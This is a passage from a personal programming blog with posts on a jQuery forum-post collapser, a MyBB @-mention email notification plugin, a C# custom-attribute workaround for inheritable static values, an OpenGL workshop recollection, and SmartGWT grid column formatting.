            nextRow.append(nextRowCol1, nextRowCol2);
            nextRow.css('cursor','pointer');
 
            nextRow.toggle(function(){
                currRow.show();
                nextRow.css('font-weight','bold');
                nextRowCol2.html('[-]');
            }, function(){
                currRow.hide();
                nextRowCol2.html('[+]');
            });
        }
});

When a post is collapsed, its footer is updated with the post author and a [+] mark next to it. When this post is expanded, the footer is made bold to indicate this has been seen and the [+] turns into a [-]. Here is the output when I tested it on http://www.gfx-depot.com/forum/throw-something-at-the-person-above-you-t-1003.html.


Mar 24 2010

MyBB Username Reference Notification Plugin

Tag: PHP,ProgrammingAbhijeet Maharana @ 5:15 pm

Jayant and I collaborated on the development of a MyBB plugin. It enables MyBB based forums to send out email notifications to users when their username is referenced in a post – preceded by the @ character. Of course, users have to opt in to receive such notification. So the plugin adds a checkbox to the User CP for this purpose.

Screenshot of the extra option added to User CP

This is how someone will reference the username in a post. This will not work for usernames with spaces and special characters. For handling these cases, the regex used in the get_users_to_notify() function will need improvement.

@jayant Hi this is a test post

This is the email notification that is sent to the user

jayant,
 
       abhijeet has just referenced you in a post on MyTestForum.
 
       To view the post, you can go to the following URL:
       http://localhost/mybb/showthread.php?tid=1&pid=14#pid14
 
       Thank you,
       MyTestForum Staff

You can download the plugin here. Extract the archive and copy urnotification.php to the inc/plugins folder. You can then enable it from the Admin Control Panel.

We referred the source of gtalk profile plugin by ssmol while developing this one. The “debugging” environment was NetBeans 6.8 with PHP bundle, XAMPP 1.7.3 and MyBB 1.4.11.


Dec 25 2009

C# – Alternative to overriding static variables

Tag: .NET,C#,ProgrammingAbhijeet Maharana @ 9:22 pm

In a recent project, I came across a peculiar requirement.

Modified version of the requirement:
1. Define a static variable in base class (say Code)
2. Define a property in base class that accesses Code (say Message)
3. Modify the value of Code in derived class
4. BaseInstance.Message should access the value of Code defined in base class whereas DerivedInstance.Message should access the one defined in derived class.

So I tried the following

namespace StaticTest
{
    class Base
    {
        protected static int Code = 1;
 
        public String Message
        {
            get
            {
                switch (Code)
                {
                    case 1:
                        return "One";
 
                    case 2:
                        return "Two";
 
                }
 
                return "Default";
            }
        }
    }
 
    class Derived : Base
    {
        protected static new int Code = 2;
    }
 
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Base.Message: " + new Base().Message);
            Console.WriteLine("Derived.Message: " + new Derived().Message);
 
            Console.Read();
        }
    }
}

This did not work and the output was

Base.Message: One
Derived.Message: One

Turns out that Message needs to be redefined in Derived to be able to access the new value of Code. With a lot of derived classes, this was impractical and Message’s getter was a bit more involved than what I have written above.

I found a neat solution by Dave Booker posted here.

Define a custom attribute class

[AttributeUsage(AttributeTargets.Class, Inherited = true)]
public class CodeAttribute : Attribute
{
        public int Code;
        public CodeAttribute(int code)
        {
            Code = code;
        }
}

Then define attribute values for the 2 classes:

[CodeAttribute(1)]
class Base
{ ... }
 
[CodeAttribute(2)]
class Derived
{ ... }

Now delete the Code property from the classes and modify Message to retrieve the code like this:

public String Message
{
	get
        {
                int Code = ((CodeAttribute) Attribute.GetCustomAttribute(this.GetType(), typeof(CodeAttribute))).Code;
 
                switch (Code)
                {
                    case 1:
                        return "One";
 
                    case 2:
                        return "Two";
 
                }
 
                return "Default";
         }
}

This returned the values as expected. If the derived class is not supplied with an attribute value, it just inherits the value from its parent. So not exactly a static variable but it behaves like one that can be inherited and overriden if necessary. Quite elegant!

The original requirement was to eliminate any instances of both classes. This meant Message had to be a static property. I haven’t been able to figure out how to do that … specifically how to replace “this.GetType()” with something static that returns which class the property was invoked with rather than the class which it was defined in (which is what the reflection based methods do).

Any ideas? Other than getting into IL code to see if and how this can be done?


Mar 14 2009

OpenGL workshop and nostalgia

Tag: Workshops/SeminarsAbhijeet Maharana @ 8:57 pm

I conducted a workshop on OpenGL today. It was in the same college where I completed my Engineering, SFIT Borivali. I had done it for the first time in 2003. And I remember how nervous I was because I was in the 2nd year and almost everyone who participated was a senior! Although everyone was from 2nd year this time, it wasn’t much different. I was as nervous when I started off because I had done this 3 years back and couldn’t go through the content even once. However I had saved all the material used earlier and this saved me lots of time.

I was nostalgic all the time. Same college, same labs, not the same machines but I had worked on these machines before moving out. Brought back all those memories. All new faces but the same curiosity which made me spend an entire semester struggling to figure out how VC++ 6 is different from Turbo C and why Turbo C won’t compile the OpenGL programs that I had downloaded! And how GLUT came to my rescue before my curiosity died while meddling with the Windows API! In the rush to make a living by working on stuff that the industry pays for, that curiosity has had to take a backseat after I got out from college. But it felt very nice to get back after such a long time! If someone could pay for my material needs while I did this, nothing like it!

Ajesh came along to help the participants. Thanx a ton man! He clicked a few snaps. Ill put them up in the wokshops section. Now back to the present and back to the task at hand :)


Dec 12 2008

Override rendering of column from SmartGWT data source

Tag: Gwt,Java,Programming,smartgwtAbhijeet Maharana @ 10:17 pm

SmartGWT widgets can render themselves sensibly using the data source definition. So for a grid, we don’t need to define the columns explicitly. However, we can override the rendering of some or all columns as needed.

Assume that our data source and data looks like this:

class CompanyDataSource extends DataSource {
	public CompanyDataSource(String id) {
		setID(id);
 
		DataSourceTextField companyName = new DataSourceTextField("company", "Company");
		DataSourceFloatField price = new DataSourceFloatField("price", "Price");
		DataSourceDateField lastChanged = new DataSourceDateField("lastChanged", "Last Changed");
		setFields(companyName, price, lastChanged);
	}
}
"3m Co", "71.72", "9/1 01:25 AM"

And the grid that renders this data

DataSource dataSource = new CompanyDataSource(“companyList1”);
dataSource.setClientOnly(true);
 
ListGrid companyGrid = new ListGrid();
companyGrid.setHeight(300);
companyGrid.setWidth(500);
companyGrid.setTitle("SmartGWT grid");
companyGrid.setDataSource(dataSource);
companyGrid.setAutoFetchData(true);

To override the display format of lastChanged column, one approach would be

ListGridField lastChangedField = new ListGridField("lastChanged", "Last Changed (new title)", 180);
CellFormatter dateFormatter = new CellFormatter(){
	public String format(Object value, ListGridRecord record, int rowNum, int colNum) {
 
		DateTimeFormat inputFormat = DateTimeFormat.getFormat("d/M hh:mm a");
		DateTimeFormat outputFormat = DateTimeFormat.getFormat("MMM dd HH 'hours' mm 'minutes'");
		Date inputDate = inputFormat.parse(value.toString());
		String output = outputFormat.format(inputDate);
 
		return output;
	}
};
 
lastChangedField.setCellFormatter(dateFormatter);
companyGrid.setFields(lastChangedField);

We define a ListGridField with the same name “lastChanged” as in the data source. SmartGWT will use this name to do the merge. Our custom cell formatter matches the input date format and returns it in a different format.

But now the grid will only display this field. To cause it to display other data source fields as they are, we need to call

companyGrid.setUseAllDataSourceFields(true);

We can also override the date format in the data source itself so that all widgets sourcing this data will reflect it. As I was thinking about this, I came across this post on the SmartGWT forums. The API will support this functionality soon and as that thread also mentions, for formatting dates, you can use ListGrid.setDateFormatter() and DateItem.setDisplayFormat().

Thats it for this time. Ill keep posting tidbits as I learn along the way.


Next Page »